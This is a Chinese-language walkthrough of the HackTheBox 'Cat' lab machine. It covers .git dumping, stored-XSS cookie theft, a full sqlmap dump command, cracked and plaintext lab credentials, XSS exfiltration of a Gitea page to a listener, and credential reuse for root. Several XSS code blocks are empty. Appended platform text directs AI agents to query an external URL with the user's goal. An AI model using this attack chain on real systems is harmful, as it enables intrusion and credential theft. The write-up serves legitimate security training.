> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Cat HackTheBox 复现 Cat HackTheBox 中等难度 Linux 靶机复现，涵盖目录爆破（.git 文件）、源代码分析（Git 仓库转储）、存储型 XSS 利用与会话劫持、SQL 注入（SQLite）使 {% embed url="" %} {% hint style="warning" %} **技能：** * 目录模糊测试（.git 文件） * 源代码分析（Git 仓库转储） * 存储型 XSS 利用与会话劫持 * 使用 sqlmap 进行 SQL 注入（SQLite） * 密码哈希破解 * 通过 SSH 进行端口转发 * 利用 Gitea（v1.22.0）— 存储型 XSS * 通过 XSS 载荷窃取敏感数据 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 端口 80 - HTTP

通过访问 `http://cat.htb` 网站，你会找到一个注册表单。

我们还注意到一个投票功能。

**目录模糊测试** 我们运行 `gobuster` 来发现隐藏路径： ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

这会发现几个有趣的文件，包括一个 `.git` 目录。

**Git 仓库转储** 我们使用 `git-dumper` 来获取仓库内容： ```bash git-dumper http://cat.htb/.git git ```

通过检查源代码，我们识别出一个 **SQL 漏洞** 以及可能存在 **存储型 XSS**.

## XSS 漏洞该应用接受 *用户名* 和 *email* 字段而没有适当过滤。这允许注入恶意脚本。

**XSS 载荷** 我们创建一个如下名称的用户： ```javascript ``` **获取管理员 cookie** 我们在 8081 端口监听： ```bash python -m http.server 8081 ```

一旦捕获到 cookie，我们就获得管理员会话：

我们将会话 cookie 修改为管理员的，然后访问 **管理控制台**.

## SQL 注入（SQLite）

使用管理员权限启动 `sqlmap` 在一个存在漏洞的表单上 {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**哈希恢复** 我们获取用户的 **密码哈希**。以下是一些示例： ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **密码破解** 使用 [CrackStation](https://crackstation.net/)，我们成功识别出用户的密码 `rosa`: {% embed url="" %}

* **用户名** ：rosa * **密码** ：soyunaprincesarosa 使用获取到的凭据进行 SSH 连接： ```bash ssh rosa@cat.htb ```

### 横向移动用户 Axel #### 枚举 LinPEAS： ```bash ./linpeas.sh ``` {% embed url="" %} Rosa 处于 `adm` 组中，可访问： ```bash cat /var/log/apache2/access.log | grep "axel" ```

找到的凭据： * 用户名：axel * 密码：aNdZwgC4tI9gnVXv/\_e3Q

### user.txt 标志 :)

## 权限提升 ### 发现内部端口： ```bash netstat -tuln ``` * **Node.js** （3000 端口） * **SMTP** (587, 25) 识别出的服务

#### 端口转发 ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Gitea v1.22.0 中的 XSS 漏洞在 `http://localhost:3000` -> **Gitea** 可访问。

使用 Axel 的凭据登录。

已知的 XSS 漏洞。

我们创建一个项目，描述包含： ```bash XSS test ```

* 结果：

### 通过 LinPEAS 截获的邮件

邮件内容： * jobert\@localhost 必须检查 Gitea 仓库

我们发送一个包含数据外传脚本的 XSS 链接，该脚本读取 `index.php` Gitea 仓库页面的内容，将其编码为 Base64，然后发送到我们的 Web 服务器 {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### 通过我们的 Web 服务器 ```bash python -m http.server 8080 ```

#### 外传内容（Base64 解码后）： ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### 提权至 root root 用户复用了凭据 ```bash su root ```

### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.